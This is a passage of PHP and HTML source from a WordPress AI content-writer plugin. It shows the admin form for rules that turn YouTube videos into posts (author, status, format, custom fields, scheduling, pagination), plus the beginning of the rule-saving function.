'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom Shortcode Creator (Optional):", 'aiomatic-automatic-ai-content-writer');?></b><span class="tool" data-tip="Supported models: <?php echo implode(',', aiomatic_get_all_models());?>"> ⓘ</span> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[custom_shortcodes][]" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip Title From Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="strip_title" name="aiomatic_youtube_list[strip_title][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Spin Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_spin" name="aiomatic_youtube_list[skip_spin][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Translate Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_translate" name="aiomatic_youtube_list[skip_translate][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to process each title from the added list only once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Process Each Title/Video Only Once:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="title_once" name="aiomatic_youtube_list[title_once][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to overwrite existing posts during the publishing process.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Overwrite Existing Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="overwrite_existing" name="aiomatic_youtube_list[overwrite_existing][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to process added YouTube videos in order of entry or in random order.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Process Videos In Order Of Entry:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="no_random" name="aiomatic_youtube_list[no_random][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_youtube_list[strip_by_regex][]" placeholder="regex expression" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Content):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_youtube_list[replace_regex][]" placeholder="regex replacement" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the author that you want to assign for the automatically generated posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Author:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="post_author" name="aiomatic_youtube_list[post_author][]" class="cr_width_full"> <option value="rand"><?php echo esc_html__("Random user", 'aiomatic-automatic-ai-content-writer');?></option> <?php $blogusers = get_users( [ 'role__in' => [ 'contributor', 'author', 'editor', 'administrator' ] ] ); foreach ($blogusers as $user) { echo '<option value="' . esc_html($user->ID) . '"'; echo '>' . esc_html($user->display_name) . '</option>'; } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the status that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Status:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="submit_status" name="aiomatic_youtube_list[submit_status][]" class="cr_width_full"> <option value="pending"><?php echo esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer');?></option> <option value="draft"><?php echo esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer');?></option> <option value="publish" selected><?php echo esc_html__("Published", 'aiomatic-automatic-ai-content-writer');?></option> <option value="private"><?php echo esc_html__("Private", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash"><?php echo esc_html__("Trash", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the type (post/page) for your automatically generated item.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Item Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="default_type" name="aiomatic_youtube_list[default_type][]" class="cr_width_full"> <?php $is_first = true; foreach ( get_post_types( '', 'names' ) as $post_type ) { if(strstr($post_type, 'aiomatic_')) { continue; } echo '<option value="' . esc_attr($post_type) . '"'; if($is_first === true) { echo ' selected'; $is_first = false; } echo '>' . esc_html($post_type) . '</option>'; } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If your template supports 'Post Formats', than you can select one here. If not, leave this at it's default value.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Post Format:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="post_format" name="aiomatic_youtube_list[post_format][]" class="cr_width_full"> <option value="post-format-standard" selected><?php echo esc_html__("Standard", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-aside"><?php echo esc_html__("Aside", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-gallery"><?php echo esc_html__("Gallery", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-link"><?php echo esc_html__("Link", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-image"><?php echo esc_html__("Image", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-quote"><?php echo esc_html__("Quote", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-status"><?php echo esc_html__("Status", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-video"><?php echo esc_html__("Video", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-audio"><?php echo esc_html__("Audio", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-chat"><?php echo esc_html__("Chat", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the ID of the parent of created posts. This is useful for BBPress integration, to assign forum IDs for created topics or for other similar functionalities.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Parent ID:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" class="cr_width_full" name="aiomatic_youtube_list[parent_id][]" value="" placeholder="Post parent ID" class="cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable comments for the generated posts?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Comments For Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_comments" name="aiomatic_youtube_list[enable_comments][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable pingbacks/trackbacks for the generated posts?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Pingback/Trackback:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_pingback" name="aiomatic_youtube_list[enable_pingback][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Do you want to set a custom post publish date for posts? Set the range in the below field Accepted values for this field are listed: <a href='%s' target='_blank'>here</a>. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://www.php.net/manual/en/datetime.formats.php' ) ); ?> </div> </div> <b><?php echo esc_html__("Set a Custom Post Publish Date Range:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="min_time" name="aiomatic_youtube_list[min_time][]" placeholder="Start time" class="cr_half"> - <input type="text" id="max_time" name="aiomatic_youtube_list[max_time][]" placeholder="End time" class="cr_half"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Custom Fields:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_youtube_list[custom_fields][]" placeholder="Please insert your desired custom fields. Example: title_custom_field => %%post_title%%" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Custom Taxonomies:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_youtube_list[custom_tax][]" placeholder="Please insert your desired custom taxonomies. Example: custom_taxonomy_name => %%post_title%%" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Enter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: de", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Assign WPML/Polylang Language to Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" class="cr_width_full" name="aiomatic_youtube_list[wpml_lang][]" value="" placeholder="WPML/Polylang language" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Scheduling Restrictions", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Run This Rule On The Following Days Of The Week:", 'aiomatic-automatic-ai-content-writer');?></b> <br/><?php echo esc_html__("Current Server Time:", 'aiomatic-automatic-ai-content-writer') . ' ' . date('l', time()) . ', ' . date("Y-m-d H:i:s");?> </td> <td> <input type="text" class="cr_width_full" name="aiomatic_youtube_list[days_no_run][]" value="" placeholder="Mo,Tu,We,Th,Fr,Sa,Su" class="cr_width_full"> </td> </tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_ok" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_shrt_td2"><span class="cr_gray20">X</span></td> <td class="cr_short_td"><input type="checkbox" name="aiomatic_youtube_list[active][]" value="1" checked /> <input type="hidden" name="aiomatic_youtube_list[last_run][]" value="1988-01-27 00:00:00"/> <input type="hidden" name="aiomatic_youtube_list[rule_unique_id][]" value="<?php echo uniqid('', true);?>"/> </td> <td class="cr_short_td"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("No info.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </td> <td class="cr_center"> <div> <img src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif'); ?>" alt="Running" class="cr_running"> <div class="codemainfzr cr_gray_back cr_width_80p"> <select autocomplete="off" class="codemainfzr" id="actions" class="actions" name="actions" disabled> <option value="select" disabled selected><?php echo esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer');?></option> <option value="run" onclick=""><?php echo esc_html__("Run This Rule Now", 'aiomatic-automatic-ai-content-writer');?></option> <option value="duplicate" onclick=""><?php echo esc_html__("Duplicate This Rule", 'aiomatic-automatic-ai-content-writer');?></option> <option value="up" onclick=""><?php echo esc_html__("Move This Rule Up", 'aiomatic-automatic-ai-content-writer');?></option> <option value="down" onclick=""><?php echo esc_html__("Move This Rule Down", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash" onclick=""><?php echo esc_html__("Send All Posts To Trash", 'aiomatic-automatic-ai-content-writer');?></option> <option value="delete" onclick=""><?php echo esc_html__("Permanently Delete All Posts", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </div> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> <hr/> <div> <?php $next_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($next_url, 'aiomatic_page=') === false) { if(stristr($next_url, '?') === false) { if($max_pages == 1) { $next_url .= '?aiomatic_page=1'; } else { $next_url .= '?aiomatic_page=2'; } } else { if($max_pages == 1) { $next_url .= '&aiomatic_page=1'; } else { $next_url .= '&aiomatic_page=2'; } } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $next_page = $curent_page + 1; if($next_page > $max_pages) { $next_page = $max_pages; } if($next_page <= 0) { $next_page = 1; } $next_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $next_page, $next_url); } else { if(stristr($next_url, '?') === false) { if($max_pages == 1) { $next_url .= '?aiomatic_page=1'; } else { $next_url .= '?aiomatic_page=2'; } } else { if($max_pages == 1) { $next_url .= '&aiomatic_page=1'; } else { $next_url .= '&aiomatic_page=2'; } } } } $prev_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($prev_url, 'aiomatic_page=') === false) { if(stristr($prev_url, '?') === false) { $prev_url .= '?aiomatic_page=1'; } else { $prev_url .= '&aiomatic_page=1'; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $go_to = $curent_page - 1; if($go_to <= 0) { $go_to = 1; } if($go_to > $max_pages) { $go_to = $max_pages; } $prev_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $go_to, $prev_url); } else { if(stristr($prev_url, '?') === false) { $prev_url .= '?aiomatic_page=1'; } else { $prev_url .= '&aiomatic_page=1'; } } } $first_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($first_url, 'aiomatic_page=') === false) { if(stristr($first_url, '?') === false) { $first_url .= '?aiomatic_page=1'; } else { $first_url .= '&aiomatic_page=1'; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $first_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=1', $first_url); } else { if(stristr($first_url, '?') === false) { $first_url .= '?aiomatic_page=1'; } else { $first_url .= '&aiomatic_page=1'; } } } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } if(isset($_GET['aiomatic_page'])) { $this_page = $_GET["aiomatic_page"]; } else { $this_page = '1'; } echo '<center><a href="' . esc_url_raw($first_url) . '">' . esc_html__('First Page', 'aiomatic-automatic-ai-content-writer') . '</a>   <a href="' . esc_url_raw($prev_url) . '">' . esc_html__('Previous Page', 'aiomatic-automatic-ai-content-writer') . '</a>  ' . esc_html__('Page', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($this_page) . ' ' . esc_html__('of', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($max_pages) . ' - ' . esc_html__("Rules Per Page:", 'aiomatic-automatic-ai-content-writer') . '  <input class="cr_50" type="number" min="2" step="1" max="999" name="posts_per_page" value="' . esc_attr($rules_per_page). '" required/>   <a href="' . esc_url_raw($next_url) . '">' . esc_html__('Next Page', 'aiomatic-automatic-ai-content-writer') . '</a>   <a href="' . esc_url_raw($last_url) . '">' . esc_html__('Last Page', 'aiomatic-automatic-ai-content-writer') . '</a></center> <center></center> <center>Info: You can add new rules only on the last page.</center>'; ?> <div> <p class="crsubmit"><input type="submit" name="btnSubmit" id="btnSubmit" class="button button-primary" onclick="unsaved = false;" value="<?php echo esc_html__("Save Settings", 'aiomatic-automatic-ai-content-writer');?>"/></p> </div> <div> <div><?php echo esc_html__("* = required", 'aiomatic-automatic-ai-content-writer');?></div><br/><?php echo sprintf( wp_kses( __( "Check more settings which apply to rule running, over at the plugin's 'Settings' menu, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_admin_settings#tab-17' ) );?> <br/> <?php echo esc_html__("New! You can use the [aicontent]Your Prompt[/aicontent] shortcode in this or other", 'aiomatic-automatic-ai-content-writer') . " <a href='https://1.envato.market/coderevolutionplugins' target='_blank'>" . esc_html__("'omatic plugins created by CodeRevolution", 'aiomatic-automatic-ai-content-writer') . "</a>" . esc_html__(", click for details:", 'aiomatic-automatic-ai-content-writer');?> <a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-ai-generated-content-from-any-plugin-built-by-coderevolution/" target="_blank"><img src="https://i.ibb.co/gvTNWr6/artificial-intelligence-badge.png" alt="artificial-intelligence-badge" title="AI content generator support, when used together with the Aiomatic plugin"></a><br/><br/><a href="https://www.youtube.com/watch?v=5rbnu_uis7Y" target="_blank"><?php echo esc_html__("Nested Shortcodes also supported!", 'aiomatic-automatic-ai-content-writer');?></a><br/><br/><?php echo esc_html__("Confused about rule running status icons?", 'aiomatic-automatic-ai-content-writer');?> <a href="http://coderevolution.ro/knowledge-base/faq/how-to-interpret-the-rule-running-visual-indicators-red-x-yellow-diamond-green-tick-from-inside-plugins/" target="_blank"><?php echo esc_html__("More info", 'aiomatic-automatic-ai-content-writer');?></a><br/> <div class="cr_none" id="midas_icons"> <table> <tr> <td><img id="run_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif');?>" alt="Running" title="status"></td> <td><?php echo esc_html__("In Progress", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("Importing is Running", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="ok_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/ok.gif');?>" alt="OK" title="status"></td> <td><?php echo esc_html__("Success", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("New Posts Created", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="fail_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/failed.gif');?>" alt="Faield" title="status"></td> <td><?php echo esc_html__("Failed", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("An Error Occurred.", 'aiomatic-automatic-ai-content-writer');?> <b><?php echo esc_html__("Please check 'Activity and Logging' plugin menu for details.", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="nochange_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/nochange.gif');?>" alt="NoChange" title="status"></td> <td><?php echo esc_html__("No Change - No New Posts Created", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("Possible reasons:", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td></td> <td> <ul> <li>► <?php echo esc_html__("Please change rule settings, as your titles are all posted.", 'aiomatic-automatic-ai-content-writer');?></li> </ul> </td> </tr> </table> </div> </div> </form> </div> <div id="running_status_ai"></div> </div> <div class="wrap"> <h3><?php echo esc_html__("YouTube Videos To Posts Tutorial Video", 'aiomatic-automatic-ai-content-writer');?></h3> <div id="ai-video-container"><br/> <iframe class="ai-video" width="560" height="315" src="https://www.youtube.com/embed/MWpu_ly5ZKE" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> </div> </div> <?php } if (isset($_POST['aiomatic_youtube_list'])) { add_action('admin_init', 'aiomatic_save_rules_youtube'); } function aiomatic_save_rules_youtube($data2) { $init_rules_per_page = get_option('aiomatic_posts_per_page', 12); $rules_per_page = get_option('aiomatic_posts_per_page', 12); if(isset($_POST['posts_per_page'])) { update_option('aiomatic_posts_per_page', $_POST['posts_per_page']); } check_admin_referer('aiomatic_save_rules', '_aiomaticr_nonce'); $data2 = $_POST['aiomatic_youtube_list']; $rules = get_option('aiomatic_youtube_list', array()); if(!is_array($rules)) { $rules = array(); } $initial_count = count($rules); $add = false; $scad = false; if(isset($_GET["aiomatic_page"]) && is_numeric($_GET["aiomatic_page"])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = 1; } $offset = ($curent_page - 1) * $rules_per_page; $cat_cont = $offset; $cont = 0; if (isset($data2['url_list'][0])) { for ($i = 0; $i < sizeof($data2['url_list']); ++$i) { $bundle = array(); if (isset($data2['schedule'][$i]) && $data2['schedule'][$i] != '' && $data2['url_list'][$i] != '') { $bundle[] = trim(sanitize_text_field($data2['schedule'][$i])); if (isset($data2['active'][$i])) { $bundle[] = trim(sanitize_text_field($data2['active'][$i])); } else { $bundle[] = '0'; } $bundle[] = trim(sanitize_text_field($data2['last_run'][$i])); $bundle[] = trim(sanitize_text_field($data2['max'][$i])); $bundle[] = trim(sanitize_text_field($data2['submit_status'][$i])); $bundle[] = trim(sanitize_text_field($data2['default_type'][$i])); $bundle[] = trim(sanitize_text_field($data2['post_author'][$i])); $bundle[] = trim(sanitize_text_field($data2['default_tags'][$i])); if($i == sizeof($data2['schedule']) - 1) { if(isset($data2['default_category'])) { $bundle[] = $data2['default_category']; } else { if(!isset($data2['default_category' . $cat_cont])) { $cat_cont++; } if(!isset($data2['default_category' . $cat_cont])) { $bundle[] = array('aiomatic_no_category_12345678'); } else { $bundle[] = $data2['default_category' . $cat_cont]; } } } else { if(!isset($data2['default_category' . $cat_cont])) { $cat_cont++; } if(!isset($data2['default_category' . $cat_cont])) { $bundle[] = array('aiomatic_no_category_12345678'); } else { $bundle[] = $data2['default_category' . $cat_cont]; } } $bundle[] = trim(sanitize_text_field($data2['auto_categories'][$i])); $bundle[] = trim(sanitize_text_field($data2['auto_tags'][$i])); $bundle[] = trim(sanitize_text_field($data2['enable_comments'][$i])); $bundle[] = trim($data2['image_url'][$i]); $bundle[] = $data2['url_list'][$i]; $bundle[] = trim(sanitize_text_field($data2['enable_pingback'][$i])); $bundle[] = trim(sanitize_text_field($data2['post_format'][$i])); $bundle[] = trim($data2['custom_fields'][$i]); $bundle[] = trim($data2['custom_tax'][$i]); $bundle[] = trim($data2['temperature'][$i]); $bundle[] = trim($data2['top_p'][$i]); $bundle[] = trim($data2['presence_penalty'][$i]); $bundle[] = trim($data2['frequency_penalty'][$i]); $bundle[] = trim($data2['royalty_free'][$i]); $bundle[] = trim($data2['max_tokens'][$i]); $bundle[] = trim($data2['max_seed_tokens'][$i]); $bundle[] = trim($data2['max_continue_tokens'][$i]); $bundle[] = trim($data2['post_prepend'][$i]); $bundle[] = trim($data2['post_append'][$i]); $bundle[] = trim($data2['enable_ai_images'][$i]); $bundle[] = trim($data2['ai_command_image'][$i]); $bundle[] = trim($data2['image_size'][$i]); $bundle[] = trim($data2['wpml_lang'][$i]); $bundle[] = trim($data2['remove_default'][$i]); $bundle[] = trim($data2['strip_title'][$i]); $bundle[] = trim($data2['title_once'][$i]); $bundle[] = trim($data2['category_model'][$i]); $bundle[] = trim($data2['category_ai_command'][$i]); $bundle[] = trim($data2['tag_model'][$i]); $bundle[] = trim($data2['tag_ai_command'][$i]); $bundle[] = trim($data2['min_time'][$i]); $bundle[] = trim($data2['max_time'][$i]); $bundle[] = trim($data2['skip_spin'][$i]); $bundle[] = trim($data2['skip_translate'][$i]); $bundle[] = trim($data2['default_lang'][$i]); $bundle[] = trim($data2['ai_titles'][$i]); $bundle[] = trim($data2['post_sections_list'][$i]); $bundle[] = trim($data2['content_language'][$i]); $bundle[] = trim($data2['writing_style'][$i]); $bundle[] = trim($data2['writing_tone'][$i]); $bundle[] = trim($data2['title_prompt'][$i]); $bundle[] = trim($data2['sections_prompt'][$i]); $bundle[] = trim($data2['content_prompt'][$i]); $bundle[] = trim($data2['excerpt_prompt'][$i]); $bundle[] = trim($data2['section_count'][$i]); $bundle[] = trim($data2['paragraph_count'][$i]); $bundle[] = trim($data2['topic_title_model'][$i]); $bundle[] = trim($data2['topic_sections_model'][$i]); $bundle[] = trim($data2['topic_content_model'][$i]); $bundle[] = trim($data2['topic_excerpt_model'][$i]); $bundle[] = trim($data2['single_content_call'][$i]); $bundle[] = trim($data2['intro_prompt'][$i]); $bundle[] = trim($data2['topic_intro_model'][$i]); $bundle[] = trim($data2['outro_prompt'][$i]); $bundle[] = trim($data2['topic_outro_model'][$i]); $bundle[] = 